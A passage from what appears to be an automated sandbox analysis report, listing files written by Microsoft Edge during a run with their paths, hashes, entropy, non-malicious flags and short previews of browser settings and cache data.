Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39869.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090554292380537
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOCLmZtgtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynVtGhOxqQoRTuiVIos
MD5:	0C37713142D1AC46319264F594ECA105
SHA1:	FBBBE39526DC4777A722ED8BAE0824EAF8B367CE
SHA-256:	0B3F9DDD01B29085DE8BA3A9B80EFFDEC96917976544E289C1C4B4E4D96F8FC9
SHA-512:	27394FB4048DD813CD09D5F689282FEF5FB2D916E41EC04C3635ED5AA520D36334A8D9494992AFFFA67B0233F7F236B94974FEF1DE70184111C4515C9749CA64
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.01752679754216
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXxdcCIy:YWLSGTt1o9LuLgfGBPAzkVj/T8lLB7
MD5:	C3B4AFFDA4D219F6BA9F902EE8E3C6DF
SHA1:	5193F654A6D24B0CA6EFAB27DF6F8B86F4CABD47
SHA-256:	FD7A9AEECF0A50819D59392FB58EBAB9F09D1070460B6414887F6295FEC7B369
SHA-512:	7B98DB7FF1CF159D1114CE716CDF55B71026546A244FE10E48D6340820A442520D840CB05014149E4305F68A528CFEA1D400072F69B9BADE388BA151CEA4FDD9
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732033761895258}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\aba88869-f117-4ebc-938f-00a1de2b947c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46105
Entropy (8bit):	6.087719798163824
Encrypted:	false
SSDEEP:	768:kMkbJrT8IeQcrQgxX3jyLmZYoa+N804RWMTFPivLbQQkHX1hyC1oZwWE7RTupzKk:kMk1rT8HRX3Wot7L0THKIoZoRTuiI
MD5:	5A3F4CCBC614D4A31E39686A1F992902
SHA1:	A9364CCA6C63BDC44B05AE69C1E382D90C21AD5A
SHA-256:	5BFB43160DD96C1519BEC3B95ACF558C08364D3B087F0EB1193DD46AA397DE40
SHA-512:	FCE40864CC295AACCD920C9DD520298309121EE806F6ACA8AC8D62C3085A804EEDBB34134C2EEBD9C14CE29CDC01AC4E66234F79927FB2A3D36C2C1800B8D504
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"23edb983-0dd9-46be-813d-053b10927a11"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731932963"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\df39c2c6-7777-421c-93fc-d48d5da6be7b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46229
Entropy (8bit):	6.087335338038885
Encrypted:	false
SSDEEP:	768:kMkbJrT8IeQcrQgrX3tyLmZYoa+NL204RWMTFPivLbQQkHX1hyC1oZwWE7RTupzd:kMk1rT8HLX3sotL5L0THKIoZoRTuiI
MD5:	8E5AD76D7B8D2822F7839B04BF81F89C
SHA1:	00FA6055E757179102347C4B2444B2A1993A5451
SHA-256:	3C258A7CA714016723418993DC9F26C35C953BF2E4E2F7E93D2FDE70D1A7E055
SHA-512:	CC4C7DFF1DB46FA13548B665CA8B32463AD6A5E20EAF05A2C38D7CF09A44EE2E86E485530458EAEF936BF6EA0BA3649F35E67DA5A365A66D110596C52793F008
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"23edb983-0dd9-46be-813d-053b10927a11"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731932963"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e068d775-d71f-4b1f-9e03-7bab200eb1b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46152
Entropy (8bit):	6.087386678130557
Encrypted:	false
SSDEEP:	768:kMkbJrT8IeQcrQgxX3tyLmZYoa+N804RWMTFPivLbQQkHX1hyC1oZwWE7RTupzKk:kMk1rT8HRX3sot7L0THKIoZoRTuiI
MD5:	7802B878BAD10080D70A02B82AFC9963
SHA1:	FC458DAB24A3B0BDB8015BDC12480DDFC8644F21
SHA-256:	F459BECE9CF9AB21E23B7B4A858AFEF7D54841604036634C8A0CD038410AB31B
SHA-512:	BA72FC70841DFE92E2EAA82935CD3E3ECBB253241079F75847CF8B95FF7DB19FDFE0796E5B1E63F4E17B5628C1C95FE74633C5838767F8B75CB52A88423E967F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"23edb983-0dd9-46be-813d-053b10927a11"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731932963"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.830572434433336
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxqxl9Il8ux/m2I0tl3C6ENTBlhAtrePY9Q3zId1rc:mjY3/mL0vSxShePY9Qb
MD5:	D93922CFC3339BD70C17B67995491268
SHA1:	722DE356703FADD7126F55F72D6CBDEEAD9AFC32
SHA-256:	7692BC8AD2BBA18451650C30B08BD7E50F4ACE0D5C7C9406E349C551B2B90CE1
SHA-512:	500E85CE420AD089A705CFBE46891DE39C5D97BC9EE372A1D16E2E3C344C4DC4FD067372BB2A568E61F5285BEE93C06F99A51DCC6EC8CF80068C3FD0A2B45746
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.G.X.C.4.L.0.5.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.T.h.U.k.X.V.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.001475517839766
Encrypted:	false
